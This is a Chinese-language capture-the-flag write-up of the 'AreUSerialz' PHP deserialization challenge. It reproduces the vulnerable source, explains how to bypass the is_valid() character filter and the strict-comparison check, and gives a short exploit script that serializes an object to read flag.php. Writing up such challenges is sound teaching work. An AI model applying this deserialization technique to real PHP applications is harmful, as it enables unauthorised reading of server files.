BUU [网鼎杯 2020 青龙组]AreUSerialz
先看题目，是个php反序列化。源码如下。
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename; protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) { //content长度限制<100，没设么用$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}
------------------------------------------------------------------------------------------------
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}
------------------------------------------------------------------------------------------------
if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) { //均在ascii码表里面$obj = unserialize($str);}}
注意点：
function __construct() {
$this->op = 2;
$this->filename = “flag.php”;
}
construct()里面给变量赋值方法
is_valid()
要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00，%00字符的ASCII码为0，不符合上面的要求。
绕过方法：因为php7.1以上的版本对属性类型不敏感，所以可以将属性改为public，public属性序列化不会出现不可见字符
url编码也不行，传进去自动解码，过不去if判断ascii码。
op=2 （int）绕过__destruct。因为类型不一样，int和string，不满足===。
echo file_get_contents("test.txt"); //把整个文件读入一个字符串中,并且回显
echo file_put_contents("test.txt","Hello World. Testing!"); //把一个字符串写入文件中。
链子：__destruct()->process(op= =2)->read()->output()，其他可以不用
这里为什么不是_ _construct开始呢？因为construct在我本地构造序列化字符串时候（$j17 = new FileHandler();）就已经执行了，在服务器上面不会执行 _ _construct
exp：
<?php
class FileHandler {public $op;public $filename; public $content;function __construct() {$this->op = 2; //只改了$this->filename = "flag.php"; （这里也可以用伪协议） //这两行$this->content = "Hello World!"; }
}$j17 = new FileHandler();
echo urlencode(serialize($j17));
?>
